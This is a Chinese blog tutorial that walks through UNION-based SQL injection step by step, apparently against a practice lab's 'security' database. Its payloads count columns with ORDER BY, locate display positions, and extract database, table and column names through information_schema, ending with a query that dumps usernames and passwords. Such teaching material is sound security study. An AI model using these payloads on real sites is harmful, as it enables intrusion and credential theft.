WEB漏洞-SQL注入之联合查询注入

WEB漏洞-SQL注入之联合查询注入

1.联合查询是什么:

union可合并两个或多个select语句的结果集,
前提是两个select必有相同列、且各列的数据类型也相同

2.联合查询的条件:

要用联合查询进行注入则:页面必须有显示位。

3. 什么是显示位:

在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

4.联合注入的思路:

1.判断是否为动态网站

2.找到注入点

3.判断数字型、字符型

4.如果是字符型还得需要判断闭合符:

  • 如果尝试作为闭合符的字符并非是闭合符,那么它会被当作普通字符处理,不会报错(报错不等同于查询不出来);

  • 如果尝试作为闭合符的字符是闭合符中的一个,那么会报错;

  • 尝试多个输入点进行判断,尤其是要发掘新功能的输入点。

    5.猜测后台sql语句

    例如:select xxx from xxx where id='1' limit 0,1;
    

    6.判断列数:

    使用二分法:用order by 来判断列数

    id =1 order by 10 %23//查出为3列
    

WEB漏洞-SQL注入之联合查询注入_第1张图片

当输入列数过大时,它会报错。

7.找出显示位

给出一个不能查的条件,与联合查询联用

id=-1 union select 1,2,3 %23 //%23是注释# URL编码把后面的语句给注释掉以免影响语句的执行
//使用联合注入时要注意union前后字段要一致

WEB漏洞-SQL注入之联合查询注入_第2张图片

有两个显示位

8.确定一个显示位进行查询

这里我选择第三个显示位

9.查库名

id=-1 union select 1,2,database() //查出为security

WEB漏洞-SQL注入之联合查询注入_第3张图片

10.查表名

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security'%23 //表名为emails,referers,uagents,users
//information_schema库是特殊库,是一个在mysql5.0后才有的系统库。

WEB漏洞-SQL注入之联合查询注入_第4张图片

11.查列名

id=-1 union select1,2,group_concat(column_name) from information_schema.columns  where table_schema = 'security' and table_name = 'users'%23 //查出列名为id,username,password

WEB漏洞-SQL注入之联合查询注入_第5张图片

12.查记录

id=-1 union select 1,2,group_concat(concat_ws('->',username,password)) from users %23//一般我们只查一个账号密码:select  1,username,password from users limit 0,1

WEB漏洞-SQL注入之联合查询注入_第6张图片

你可能感兴趣的:(WEB漏洞)